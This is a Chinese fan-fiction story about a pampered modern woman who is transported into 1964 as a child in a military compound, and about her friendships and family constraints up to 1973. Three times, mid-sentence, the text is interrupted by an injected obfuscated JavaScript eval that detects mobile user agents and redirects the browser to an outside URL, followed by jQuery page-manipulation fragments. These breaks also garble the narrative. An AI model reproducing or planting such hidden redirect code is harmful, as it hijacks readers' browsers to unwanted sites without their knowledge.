《芳华同人:新生》
1. 惊梦
夜色像一块被浸得微凉的丝绒,沉沉覆在城市上空。
高档小区的落地窗隔绝了外界的喧嚣,只留室内一片暖得恰到好处的灯光。
水晶吊灯的光细碎地洒下来,落在光洁的大理石地面上,映出丝绒沙发慵懒的轮廓。兆悦整个人陷在沙发正中,身体微微后仰,姿态散漫。
茶几上摆着一只喝了一半的香槟杯,杯壁凝着细密的水珠,旁边摊着几本刚拆封的时尚杂志,页角卷着边,显然是被随手丢在那里。
最新款的手机被她捏在指尖,有一下没一下地转着,屏幕的光映在她眼底,衬得那双本就生得极漂亮的眼睛,多了几分漫不经心的冷淡。
玄关处格外扎眼。
一大束裹着黑色哑光包装纸的红玫瑰被扔在地板上,花瓣蹭着冰凉的地砖,包装纸被踩出几道深深的褶皱,九十九朵玫瑰开得正盛,颜色浓烈得近乎张扬,却自始至终没有得到房间主人半分正眼。
电话最终还是被接通,手机里的声音小心翼翼地传出来,带着讨好,又有几分不知所措:“悦悦,我真的挑了整个花市最好的玫瑰,九十九朵,不是随便应付的……”
兆悦唇线微抿,轻轻嗤了一声。那声音不算大,却足够清晰,清甜里裹着冷意,没有半分商量的余地:“我要的是一后备箱。”
对方顿了一下,语气越发为难:“可是一后备箱太招摇了,现在这个点,停在楼下太显眼,我想着稳妥一点……”
“不用想。”
她打断得干脆利落,指尖没有半点犹豫,直接按下红色挂断键。
手机被她随手往沙发另一侧一丢,机身落在柔软的布料上,发出一声轻响。整套动作行云流水,没有迟疑,没有不舍,甚至连一丝情绪波动都没有。
对于她而言,这不过是无数次类似场景里最普通的一次。
从小到大,她身边从不缺围着她转的人。家境安稳,父母疼爱。
钢琴从四岁坐到十四岁,指尖磨过薄茧又生出细腻,一首复杂的曲子听一遍便能记下大半;写作是她藏在骨子里的喜好,随笔、短篇、故事,随手写来都流畅自然;舞蹈房的镜子里,她记过无数个标准的姿态,身段柔软,节奏感天生就好。
被人捧在手心里长大的姑娘,自有一套自己的标准,想要的东西一定要合心意,差一点都不行,不然再好也不稀罕。
她没有说话,安静地靠在沙发上,目光在室内漫无目的地扫过。
百无聊赖之下,她伸手捞过放在一旁的平板。指尖在屏幕上随意滑动,短视频刷了几条,便觉得索然无味。
不知怎么,就停在了那部被无数人提及过的电影封面之上——《芳华》。
她从未完整看过这部电影。
但也并非一无所知。
闲暇的时候,她刷过不少详细的拉片解说。
从人物出场,到剧情转折,再到那些藏在青春外衣下的计较、自私、冷漠与温柔,解说者抽丝剥茧,把整个故事拆解得明明白白。
谁是始终善良的人,谁是被孤立的人,谁是随波逐流的人,谁又是家境优渥、从头到尾置身事外的人,大致的走向她心里有数。
可解说终究是别人嚼过一遍的东西。
人物真正的眼神、语气、细微的动作、藏在平静表面下的心思,那些最鲜活的东西,她并没有真正见过。
那些名字,那些场景,在她脑海里不过是一个个模糊的符号,一段别人口中的故事,和她隔着一层无形的屏幕,遥远得毫不相干。
她只是忽然想看看,这部被捧得极高的电影,究竟是什么模样。
影片开始播放至陈灿伸手,扶下萧穗子。就在这时,窗外猛地传来一阵尖锐的咒骂声。
声音不算特别大,却隔着玻璃直直钻进来,带着被拒绝后的恼羞成怒与偏执,一字一顿,格外清晰:“兆悦!你一辈子都这么糟蹋别人的真心,总有一天要受折磨,永远都不得安生!”
是刚才被她挂断电话的人。
想来是堵在了楼下,不甘心,才隔着楼层喊出这样的话。
兆悦眉梢微微一挑,眼底掠过一丝不耐,又带着几分觉得可笑的冷淡。
这种幼稚的诅咒,在她听来毫无意义,甚至有些多余。她抬手,打算把窗帘拉上,隔绝外面的噪音与那莫名其妙的恨意。
指尖刚碰到窗帘的拉绳,异变陡生,一束寒光闪过。
平板屏幕里的光影像是突然活了过来,不再是静止的画面,而是化作一股汹涌的浪,猛地朝着她席卷而来。
暖黄的灯光、水晶吊灯的碎光、沙发的轮廓、茶几上的香槟杯,所有熟悉的现代物件,在同一时间开始扭曲、变形、融化。
耳边的咒骂声、远处的车声、空调运行的轻响,瞬间被抽离,只剩下一片混沌的嗡鸣。
强烈的失重感猛地攥住她,像是从极高处坠落,又像是被卷入无边无际的漩涡。
眼前的一切都在旋转、破碎、重组。她来不及发出任何声音,连惊讶都来不及浮现,意识便被一股巨大的黑暗吞没。
没有痛,没有慌,只有一片空茫。
不知过了多久。
像是一秒,又像是漫长的一个世纪。
鼻尖先于意识清醒。
淡淡的皂角香,混着阳光晒透棉絮的干燥气息,还有一丝若有若无的中药清香,温和地裹着她。
身下不是柔软的丝绒,而是略有些粗糙却格外干净的棉布被褥,触感踏实,带着微微的暖意。
有人在轻轻抚摸她的头发。
动作轻柔,带着小心翼翼的疼爱,指尖划过她的发顶,顺着发丝慢慢往下。
一道温柔的女声在耳边响起,语调软软的,带着清晰的南方口音,像春水一样缓:“悦悦?醒一醒,我的小宝贝醒了没有?”
兆悦的眼睫轻轻颤了颤。
意识像是被一层薄雾蒙着,沉在混沌里,迟迟不肯完全清醒。
她想开口问“你是谁”,想撑起身子看看周围,可身体却不听使唤。
每动一下,都觉得格外吃力,胳膊短得反常,手也轻飘飘的,完全不属于自己熟悉的触感。
她费力地掀开沉重的眼皮。
第一眼看到的,不是熟悉的水晶吊灯。
是一张老旧却结实的木质床顶,上面雕着简单的缠枝花纹,漆色沉稳,带着岁月的痕迹。
再往上看,是素白的墙面,没有任何花哨的装饰,只在正对床的位置,贴着一张鲜红的标语,字迹工整有力,带着这个年代独有的庄重。
视线慢慢移开。
窗边摆着一张小小的木桌,桌上放着一只搪瓷缸,缸身印着简单的图案。
旁边是一把木椅,椅面铺着一块碎花布。窗户是老式的木格窗,玻璃擦得干干净净,窗外有风吹进来,带着树叶的清香,还有远远传来的、整齐划一的口号声,一声接着一声,沉稳有力。
这不是她的房间。
这不是她的世界。
兆悦的心脏猛地一缩。
她下意识地抬起手,想揉一揉发沉的额头,可映入眼帘的东西,让她整个人瞬间僵住。
那是一双极小极小的手。
肉乎乎的,手指短短的,指甲盖圆圆的,皮肤白皙细嫩,连骨节都还没长开,完完全全是一个小孩子的手。
她愣住了,整个人像被冻住一般,呆呆地看着自己的手,反复攥拳、松开,再攥拳。每一个动作都陌生得可怕。
“哎哟,醒了就好,可别再发呆了。”
耳边的声音再次响起。俯身看着她的女人慢慢直起身,又温柔地将她从被窝里扶起来。
兆悦被动地靠着床头,这才完整地看清了眼前的人。
女人穿着一身干净利落的浅灰色列宁装,领口整齐,腰束得恰到好处,短发也一丝不苟地挽在脑后,露出光洁的额头和温和的眉眼,很像自己的母亲,但不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309083|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
气质端庄,眼神柔软,一看便是被教养得极好的人。她的手上带着一点薄茧,却动作轻柔,一点一点帮兆悦掖好被角。
“饿不饿?奶奶一早就让厨房炖着蛋羹,现在温在灶上,正好能吃。”女人笑着,伸手轻轻捏了捏她的脸颊,触感细腻柔软,“咱们悦悦睡了这么久,肯定馋了。”
兆悦张了张嘴。
她想说话,想问这里是哪里,想问自己怎么了,想问为什么一切都变了。
可从她喉咙里发出来的,不是她熟悉的清甜女音,而是一团软糯、奶声奶气、连吐字都不太清晰的孩童声音。
“我……”
只一个字,便足够让她心头发紧。
“怎么了?是不是刚醒,还有点懵?”女人不以为意,只当她是睡迷糊了,伸手将她揽进怀里。
小小的身子被拥在温暖的怀抱里,雪花膏淡淡的香气萦绕鼻尖,踏实又安心,“不懵啊,咱们悦悦最聪明了。
今天你爷爷还特意交代,等你醒了,带你去大院里转一转,认识认识院里的小伙伴。以后咱们就要在这里住下来。”
大院。
小伙伴。
爷爷。
这几个词轻飘飘地落下来,却像石头一样砸在兆悦心上。
她僵硬地靠在女人怀里,目光再次扫过房间——老式木床、搪瓷缸、木桌、墙上的标语、窗外的口号声、身上孩童的身躯、女人身上的列宁装……
所有的线索,在这一刻疯狂地拼凑在一起。
窗外那句诅咒还在耳边打转,刻薄又清晰。
可她此刻并不知道,自己落在了何处。
她只知道,眼前的一切陌生得可怕,房间、衣物、声音、年纪,全都不属于她曾经拥有的人生。
她没有死,却也不再是原来的自己,像是被一股无法抗拒的力量,拽进了一段完全陌生的岁月。
女人见她不说话,只当她还没彻底清醒,抱着她慢慢走到房间角落的穿衣镜前。兆悦的目光,不由自主地落在镜中。
里面映出一个小小的姑娘。
大约五六岁的模样,皮肤白皙,眉眼精致,眼尾微微上挑,带着南方孩子特有的灵秀。
一头软软的黑发,被细心地扎成两个小小的羊角辫,辫梢系着浅红色的头绳。身上穿着一身碎花小褂,干净整洁,整个人像一颗刚剥出来的水蜜桃,鲜嫩又娇贵。
这是她,又不是她。
“来,把小鞋子穿上。”女人蹲下身,从床底拿出一双绣着小兰花的布鞋,鞋底软软的,鞋面干净。
她握住兆悦小小的脚,细心地帮她套进去,系好鞋带,“怎么?害怕啦?咱们家悦悦生得好看,家世又好,你爷爷是打过仗、立过功的人,
以后在大院里,谁也不能欺负你,知道么?”
每一个信息,都在告诉她——这里不是她的身世,她不知道这是哪一段历史,不知道未来会走向哪里,更不知道自己会在这里待多久。
她只清楚,曾经随心所欲、被人捧在掌心的日子,已经彻底消失在那场突如其来的光影漩涡里。
她似乎成了一个六岁小姑娘。
拥有一个安稳显赫的家。
住进了人人敬畏的军区大院。
窗外的阳光越过木窗,斜斜地洒进来,落在她小小的脸颊上,暖得有些不真实。
远处的军号声隐约响起,清脆、整齐,穿透层层树叶,落在每一个角落。
风穿过树梢,带着草木清新的气息,轻轻拂过她的眼睫。
兆悦怔怔地望着墙上的日历,1964年。
过去的人生,在光影破碎的那一刻,彻底落幕。
而属于她的,在这个陌生年代里的漫长岁月,才刚刚拉开第一重幕布。
她不知道前路是安稳还是颠簸,是温暖还是折磨,只知道从这一刻起,她要以一个全新的身份,在1964年,一步步走下去。
2. 大院
入秋的1964年,风里已经带了些凉意。军区大院的梧桐树落了满地金黄,扫院子的老兵拿着竹扫帚,一下一下,扫出整齐的纹路。
兆悦坐在自家门前的板凳上,怀里抱着一只印着“为人民服务”的搪瓷缸,里面是温好的绿豆汤,甜丝丝的,却压不住心底的茫然。
她用了七天,把自己的新身份理得清清楚楚。
这具身体的原主也叫兆悦,刚满六岁,随父母从南方随军过来。父亲兆国斌,是军区一师的副政委,立过功,说话做事雷厉风行,带着军人特有的硬气。
母亲苏琴,在市商务局工作,眉眼温柔,待人接物周全妥帖,手里总带着淡淡的雪花膏香气。
最顶头的,是那位很少露面却威望极高的爷爷,打过仗的老英雄,如今在军里享着上等的待遇,大院里的人见了兆家的人,都要客客气气地打声招呼。
这样的家境,足够托住她从小到大的那些习惯。
早餐她不爱喝玉米面粥,厨房便会悄悄给她煮一碗白粥,卧上一个荷包蛋;她嫌布鞋磨脚,苏琴便托人从上海捎来软底的绣鞋;她练钢琴的房间,是家里采光最好的西屋,那架黑色的星海牌钢琴,是兆国斌特意批了条子才买到的紧俏货。
可兆悦比谁都清醒,这不是她可以随心所欲的现代世界。
她年纪小,眼神却亮得通透,不过几日,便敏锐嗅出了空气里紧绷的味道。
街上随处可见的鲜红标语、大人们交谈时下意识压低的声线、邻里之间碰面时欲言又止的谨慎,连平日里训练有素的军人,走路时都比寻常多了几分肃穆,人人自危,谁也不敢多出一言、多露一分锋芒。
这是一种说不出口却无处不在的风气,没有明说,却处处都是规矩,她看得明白,也一字不落地记在心里。
饭桌上,兆国斌的目光扫过她碗里剩下的半个馒头,眉头瞬间皱紧。“粒粒皆辛苦,”他的声音低沉,带着不容置疑的威严,“现在外头都在勒紧裤腰带搞建设,你倒好,张口就浪费。”
苏琴立刻接过话,语气依旧温柔,却带着不容拒绝的引导:“悦悦乖,吃完。晚上妈妈给你做你爱吃的桂花糕。”
一边是不容反驳的规矩,一边是软声软气的安排。
兆悦捏着筷子,把那半个馒头慢慢塞进嘴里,嚼得有些发涩。
她心里不是不别扭,可她很聪明,懂得在这样紧绷的年月里,半点张扬都可能引来不必要的麻烦,甚至会连累家人和自己。
她不是不在意那些刻在骨子里的讲究,只是看得清风向、守得住分寸,不再明目张胆地挑剔,只在无人看见的地方,尽可能维持自己的习惯。
不再开口就要求餐餐精致,不再把不喜明晃晃写在脸上,不再对着不合心意的衣物直接撇过头,可干净、整齐、合不合心意,她依旧分得清清楚楚。
只是学会了把情绪妥帖藏好,不轻易表露在外人面前。
骨子里的疏离依旧还在,她总爱弹琴,弹一些现代流行音乐也没人知道,看着大院里的孩子追跑打闹,就远远站着,不轻易凑上前。
这天午后,西屋的钢琴声刚顺着窗缝飘出去没多久,院门外就传来了轻快的脚步声。
一个短发利落、穿着小军装褂子的小姑娘大大方方推开半掩的院门,眼神亮得像山间的小兽,径直走到了石阶前。
“你就是兆悦吧?我叫刘予,大家都叫我阿予。”
兆悦抬眼扫了她一下,没主动搭话,只是轻轻点了点头,指尖依旧落在琴键上没挪开。
她生来就不爱主动亲近人,更何况是刚认识的陌生人,那份与生俱来的冷淡,让空气一时有些安静。
刘予却半点不觉得尴尬,反倒饶有兴致地盯着屋里的钢琴,又指了指自己身后的方向:“我爷爷是军区刘司令,就住前面那排楼。
我听你弹琴特别好听,想找你一起玩,我们在玩打仗的游戏,缺个跟你一般大的管东西,你要不要来?”
兆悦眉头几不可查地蹙了一下,声音轻淡,却带着一丝不易察觉的质问:“你怎么知道我多大?”
刘予愣了一下,随即笑了,笑得坦荡又爽快:“是你妈妈苏琴阿姨跟我奶奶打过招呼啦,说你刚六岁,刚来大院,让我多来找你玩,多照顾着你点。”
兆悦闻言沉默了一瞬,没再追问,只淡淡吐出两个字:“没兴趣。”
她以为这样直白的拒绝,会让眼前的小姑娘转身离开,毕竟大院里的孩子大多家世相当,谁也没受过这样冷待。
可刘予只是挠了挠头,笑着说了句“那我明天再来找你”,便一溜烟跑了,半点委屈的样子都没有。
兆悦没把这件事放在心上,只当是孩童一时兴起。
没想到第二天,刘予又来了,身后还跟着两个半大的男孩。
走在左边的男孩身形稍挺,眉眼清俊,穿着干净的白衬衫,手里攥着一把折叠好的弹弓,话不多,只是安静地站在一旁,目光轻轻落在兆悦身上,又很快移开。
右边的男孩矮了半头,脸蛋圆圆的,跑得上气不接下气,手里紧紧攥着几颗包着彩色糖纸的水果糖,一见到兆悦,眼睛立刻弯成了小月牙。
“这是杨铮,比我大一个月,弹弓打得特别准。”刘予大大咧咧地介绍。
又拽过身边的小矮个子,“这是杭春明,我们都叫他小明子,比你小半岁,最会找好吃的好玩的。”
杨铮对着兆悦微微颔首,算是打过招呼,动作克制又有礼。
杭春明则迈着小短腿凑到石阶前,把攥得发热的水果糖往兆悦面前递,小声音软糯又真诚:“悦悦姐姐,这是我舅舅从广州捎回来的,可甜了,给你吃。”
彩色的糖纸在阳光下泛着细碎的光,在物资不算宽裕的年代,这已经是孩子能拿出的最好东西。
兆悦看着他掌心摊开的糖果,又看了看眼前三个眼神纯粹的孩子,心里那道紧紧闭着的门,悄悄松了一条缝。
她沉默着接过一颗,剥开糖纸丢进嘴里,清甜的味道在舌尖化开,冲淡了不少心底的疏离。
“谢谢。”她的声音软了些许,不再像先前那样拒人千里。
杭春明立刻笑得露出两颗小虎牙,屁颠屁颠地搬来一块小板凳,乖乖坐在琴边,就等着听她弹琴。
刘予靠在门框上,也不闹,就安安静静地听着。杨铮站在梧桐树下,目光始终轻轻落在兆悦的侧脸上,一言不发,却始终没有离开。
兆悦指尖落在琴键上,没有弹那些大人要求的红歌,而是凭着记忆和乐理知识,敲出一段简单又轻快的流行乐曲。旋律干净透亮,像院子里洒下来的阳光,落在青石板上,一跳一跳的。
三个孩子谁也不说话,就安安静静地听着,连平日里最坐不住的杭春明,都安安稳稳地坐着,小脸上满是认真。
一曲终了,杭春明率先鼓起掌,小手拍得通红。“悦悦姐姐,你弹得真好听!比大院广播里的还好听!”
刘予也跟着点头,语气里满是佩服:“真厉害,我就只会爬树打仗,一点都不会这些文绉绉的东西。”
杨铮依旧没说话,只是看着兆悦的眼神,又多了几分认真。
他比刘予还要大上一个月,心思更沉,也更懂得观察,从见到兆悦的第一眼起,这个高傲又带着几分疏离的小姑娘,就悄悄在他心里落下了影子。
兆悦被他们看得有些不自在,轻轻合上琴盖,起身走到石阶上坐下。
三个孩子立刻跟着围了过来,没有过分的亲近,却恰到好处地守在她身边,像三堵小小的、温暖的墙。
“你们不用总围着我。”兆悦开口,语气依旧清淡,却少了几分拒人千里。
“不行!”杭春明立刻摇头,小脑袋摇得像拨浪鼓,“苏琴阿姨说了,让我们陪着你,不让你孤单。”
兆悦心头又是一沉。
又是母亲的安排。
她早该想到,刘予第一天找上门,杨铮和杭春明第二天就跟着出现,这一切根本不是偶然。
是苏琴早早打好了招呼,让这三个家世相当的孩子陪着她,既是为了让她在大院里不孤单,也是为了替她铺好所谓的“人缘”,为兆家维系好这些根正苗红的关系。
她这个母亲,早已把她的一切都安排得明明白白。
没有质问,没有强迫,只用温柔的方式,把她的人生框进一个“最合适”的框架里。
兆悦垂了垂眼,掩去眼底一闪而过的闷意,没有拆穿,也没有再拒绝。
她心里清楚,在这个年代,在这个家里,反抗没有任何意义,只会引来更多的管束和安排。
从那天起,刘予、杨铮、杭春明三个人,便成了兆悦在军区大院里最固定的伙伴。
刘予性子像个男孩子,天不怕地不怕,会带着他们躲在仓库后面玩捉迷藏,会教他们分辨军营里的各种声音,会在有人敢对兆悦说一句不好时,第一个站出来把人怼回去。
杨铮话最少,却最细心。兆悦的发绳掉了,他会默默捡起来拍干净递回去;兆悦练琴练得晚了,他会安安静静地在门口等着,直到看见她家里的灯熄灭才离开;有调皮的男孩子想起哄欺负兆悦,他不用说话,只一个冷冷的眼神看过去,那些人便立刻不敢上前。
杭春明最小,比兆悦还要小上半岁,完
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309084|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
完全全把她当成亲姐姐看待。
他手里有一点好吃的,都会第一时间跑过来分给她;兆悦坐着发呆,他就安安静静陪在一旁;兆悦练舞累了,他会笨拙地给她递水擦汗,小模样认真又可爱。
兆悦的心防,在这样日复一日的陪伴里,一点点被撬开。
她依旧不喜欢热闹,依旧不爱主动说话,依旧有着刻在骨子里的讲究,可她不再是一个人坐在板凳上发呆,不再是一个人对着钢琴打发时间。
有这么三个人陪她说话,陪她晒太阳,把她放在心上认真对待,虽然幼稚,但不得不说,这是兆悦在现实世界没有过的。
这些真诚又纯粹的心意,是母亲的安排里没有的,也是她在这个陌生的1964年,最先抓住的温暖。
只是这份安稳,并没有持续太久。
家里的气氛,随着外头的风向越来越紧,也变得越发压抑。
兆国斌回家的时间越来越晚,脸色也越来越沉,饭桌上几乎听不到什么笑声,所有人说话都下意识地压低声音,生怕哪一句话说错,引来不必要的麻烦。
一天傍晚,兆悦趁着家里没人,悄悄翻出藏在床板下的小本子和铅笔。
那是她偷偷藏起来的,是她在这个年代里,唯一能寄托情绪的东西。她想把心里的话写下来,想把大院里的阳光、桂花、伙伴,都记在纸上。
可她刚写下两行字,身后就传来一声沉重的咳嗽。
兆国斌不知道什么时候站在了门口,脸色阴沉得吓人。
兆悦吓得手一抖,铅笔掉在了地上。
“谁让你总写东西的?”兆国斌大步走过来,一把夺过她手里的小本子,连看都没看,直接撕成了碎片,“我跟你说过多少次,封资修的东西不能碰,闲书不能看,闲笔不能写!你是不是根本没往心里去?”
男人的声音压得很低,却带着军人独有的威严,压得人喘不过气。
兆悦站在原地,攥着衣角,一句话都不敢说。眼泪在眼眶里打转,却倔强地不肯掉下来。
写作是她从现代带来的执念,是她藏在心底最柔软的热爱,可在父亲眼里,这却是大逆不道、会惹祸上身的东西。
苏琴听到动静连忙跑进来。
先是拉住怒气冲冲的兆国斌,转头又对着兆悦放软了语气,眼底却藏着不容置疑的强硬:“悦悦,听话,把这些东西都扔了。你爸爸也是为了你好,为了这个家好。现在外面什么情况你不懂,乱写东西会害了全家的。”
“妈妈,我只是……”
“没有只是。”苏琴轻轻打断她,伸手替她擦了擦眼角,“你乖乖练琴,乖乖练舞,以后凭本事进文工团,才是最稳妥的路。妈妈会给你买最好的琴,最好的舞鞋,只要你听话。”
温柔的威逼,不动声色的利诱。
兆悦看着眼前的父母,忽然觉得浑身发冷。
她拥有旁人羡慕不来的家世,有吃不完的精细点心,有别人见都见不到的钢琴,可她连拥有一点小小的爱好,都成了奢望。
父亲的专断固执,母亲的温柔控制,像一张密不透风的网,把她牢牢困住。
她低下头,捡起地上被撕碎的纸片,声音轻得几乎听不见:“我知道了。”
兆国斌的脸色这才稍稍缓和,转身离开了房间。
苏琴看着她落寞的小身影,轻轻叹了口气,替她把碎纸片收走,又顺手塞给她一块奶糖,像是在安抚,又像是在无声地警告。
兆悦握着那块奶糖,甜意却丝毫传不进心里。
窗外的天色渐渐暗了下来,军区大院的路灯一盏盏亮起,昏黄的光落在梧桐树上,投下斑驳的影子。
兆悦走到窗边,看着楼下空无一人的小路,心里一片茫然。
她不知道自己还要在这个年代待多久,不知道未来还要面对多少束缚和规矩,不知道自己心底的热爱,还能不能有重见天日的一天。
就在这时,院门外传来轻轻的敲门声。
是杭春明小小的声音,带着担心:“悦悦姐姐,你在家吗?我们给你摘了枣子,可甜了……”
兆悦心头一软,所有的委屈和茫然,在这一刻忽然有了落脚的地方。
她轻轻拉开门,看见门口站着的三个小小的身影。
刘予手里拎着一个小布包,杨铮抱着一小袋枣子,杭春明手里攥着一朵刚摘的小黄花,三双眼睛都亮晶晶地看着她,满是担心和真诚。
夜色渐深,军区大院的风轻轻吹过,带着一丝凉意,却吹不散少年少女眼底的温暖。
兆悦看着眼前的三个人,紧绷的心弦,终于在这一刻,彻底松了下来。
3. 风起
时光踩着军区大院的梧桐叶,一晃便是九年。
从1964年的秋风到1973年的盛夏,当年攥着水果糖的小娃娃,早已在紧绷又安稳的岁月里,悄悄抽条长开,长成了半大的少年少女。
今年,兆悦十五岁,身形纤细挺拔,眉眼长开后愈发精致,珍珠般细腻莹白的皮肤,全因她比这个年代所有女孩都更讲究,一眼望去便格外出众。
她平日里总微抬着下巴,脊背挺得笔直,自带一股不容靠近的气息,遇上看不惯、瞧不上的人和事,从不多言,只淡淡睨一眼便移开目光。
对身边朝夕相伴的三个人,才会露出几分不加掩饰的随性和亲昵。
这九年里,军区大院的孩子圈里,悄悄卷起了一股看不见的风浪。
起因不过是旁人每日都能看见的光景——兆家的姑娘,永远把日子过得规整又出色。
天不亮就起床练基本功压腿,上午雷打不动两小时钢琴,下午练舞蹈形体,傍晚还要跟着收音机练习朗诵发声,琴棋书画与文艺技能一样不落,样样都做到拔尖。
兆家条件好,父母又舍得投入,再加上兆悦本身聪明通透、记忆力超群,不管学什么都上手极快,久而久之,她便成了大院里公认的“标杆”。
刘予、杨铮、杭春明三家的大人看在眼里,谁也不愿自家孩子落于人后。
本就是门当户对的人家,又看着几个孩子从小黏在一起,索性顺着风气,纷纷给自家孩子添了学艺的任务。
刘予性子野,坐不住也静不下来,被家里按着学了绘画,可她对笔墨线条始终平平淡淡,没有半分热情,心里真正惦记的从来不是文艺,而是军营、是训练场、是真刀真枪的战场,一心想长大后扛枪上前线,做个真正的军人。
杨铮被家里送去学小提琴,修长的手指按在琴弦上,气质愈发沉静清俊,不过几年功夫,琴声便能引得大院里不少少女悄悄驻足。
年纪最小的杭春明最是受罪,一边被按着练舞蹈基本功压腿劈叉,一边又要跟着军区的战士学武术,常常累得龇牙咧嘴,却也硬生生坚持了下来。
兆悦依旧是人群里最扎眼的那一个,讲究刻在骨血里,衣服永远鲜艳平整,头发永远盘得整齐,喝水只用自己固定的搪瓷杯,练琴前一定要洗手,哪怕在这个朴素的年代,也把自己的日子过得精致妥帖。
她在外人面前从不过分亲近,唯独一次例外,是认识了同在大院的沈一娣。
沈一娣出身普通家庭,身形微胖,性格安静绵软,擅长拉大提琴,站在人群里毫不起眼,甚至常常被旁人忽略。
可兆悦在第一次见到她时,心头便猛地一动——这姑娘眉眼温和、神态憨厚,像极了她现代世界里最亲近的朋友。
向来只等别人靠近的兆悦,破天荒地主动上前搭话,慢慢与她走近,成了大院里少有人知的、她对外人唯一的温和。
除沈一娣外,兆悦依旧是那副高傲模样,对趋炎附势者不屑一顾,对虚伪做作者冷眼睨之,从不会为了迎合谁弯一下脊背。
四个从小黏在一起的伙伴,日子便在一天天互相交织中过去。
刘予越长越高,十五岁的年纪,个头已经快逼近一米七,依旧是利落短发,一身洗得干净的军裤军褂,走起路来风风火火,活脱脱一副假小子模样,爬墙上树、跑步打球样样在行,和温柔文静丝毫沾不上边。
兆悦总爱逗她,张口就是软糯又带着调笑的一句“阿予宝贝”,每次都能让刘予浑身起鸡皮疙瘩,搓着胳膊连声求饶,惹得旁边杨铮和杭春明忍不住笑出声。
杨铮是四人里年纪最大的,比兆悦大一岁,比刘予大一个月,早已褪去少年稚气,长成了眉目清俊、身形挺拔的少年。一身素色衬衫穿在身上,玉树临风,气质沉静又稳重,尤其站在树荫下拉小提琴时。
可他眼里从没有旁人,永远安静地守在几人身边,刘予和杭春明凑在一起就爱吵吵闹闹,每每争执不休,都是杨铮几句话轻轻缓和,不动声色就把矛盾化解干净。
杭春明依旧是四人里的活宝,性子跳脱,嘴甜爱笑,走到哪里都热闹一片。只是他心里,始终对兆悦有着一份近乎敬畏的顺从。
这件事的起因,还要追溯到他十二岁那年。彼时杭春明刚进入叛逆期,头一次不想再跟在兆悦身后跑腿,不肯帮她去大院门口的供销社买擦脸霜,硬着脖子顶了一句嘴。
兆悦没吵没闹,只是冷冷淡淡不再理他,整整一个月,迎面遇见连一个眼神都不给他,说话也不搭腔,走路直接绕开他。
这一场无声的冷战,把杭春明彻底整老实了。
他习惯了跟在兆悦身后,习惯了听她差遣,习惯了从她手里分到好吃的、好玩的,习惯了被她护着、带着,一个月的冷落,比任何打骂都让他难受。
等他终于腆着脸道歉认错后,便彻底对兆悦百依百顺、唯命是从,兆悦一开口,他跑得比谁都快。
兆悦也爱逗他,天天像唤小太监一样张口就喊“小明子”,杭春明也不恼,乐呵呵应着,一口一个“悦儿姐”喊得又甜又顺嘴。
兆悦身上,还藏着许多这个年代没有的小习惯。
她爱调笑,爱随口说几句让人耳尖发烫的话,对刘予喊“宝贝”,对杨铮偶尔打趣两句,对杭春明更是随意使唤,却又大方得很,家里有什么好吃的、稀罕的小物件,从不吝啬分给三人。
她依旧爱看书,只是不敢再碰那些被禁止的书籍,只偷偷藏着一些允许范围内的读物,藏在床板下、衣柜角落,一有空闲就拿出来翻读。
而她心底最珍视的热爱——写作,也从未放弃。
她用攒了很久的钱票,换了一本厚厚的硬壳笔记本,走到哪里带到哪里,藏在书包最里层。本子里,没有大道理,没有敏感文字,只有她悄悄写下的儿童故事:一个流浪的小男孩,遇见一只同样流浪的小狗,一人一狗相依相伴,走过风霜雨雪,最终寻到温暖与安稳。
故事柔软,还未写过半,是她在压抑年代里,悄悄为自己留的一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309085|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片净土,也是她藏得最深的秘密,连父母都不知晓,更从未对刘予、杨铮、杭春明提起过半句。
日子就在这样安稳又细碎的时光里,缓缓向前流淌。
大院里的军号声依旧准时响起,梧桐树叶绿了又黄,四个少年少女的感情,在日复一日的陪伴里,早已深到分不开。
兆悦高傲疏离,只对三人例外;刘予大大咧咧,却最护着兆悦;杨铮沉默稳重,目光总不自觉落在兆悦身上;杭春明活泼黏人,永远是兆悦最忠实的小跟班。
直到1973年的夏末,一阵来自大西南军区文工团的风声,打破了大院长久的平静。
大西南军区文工□□人下来选拔文艺人才,由分队长亲自带队,目标就是军区大院里有才艺、根正苗红的少年少女。
消息一传开,整个大院瞬间沸腾,家家户户都开始督促孩子加紧练习,能进入军区文工团,在这个年代,是无比光荣的出路,更是一辈子的安稳保障。
兆悦自然成了众人眼里最有希望的人选。
她钢琴出色,舞蹈功底扎实,朗诵声线清亮,长相又出众亮眼,家世清白过硬,几乎是为文工团量身定做的人选。
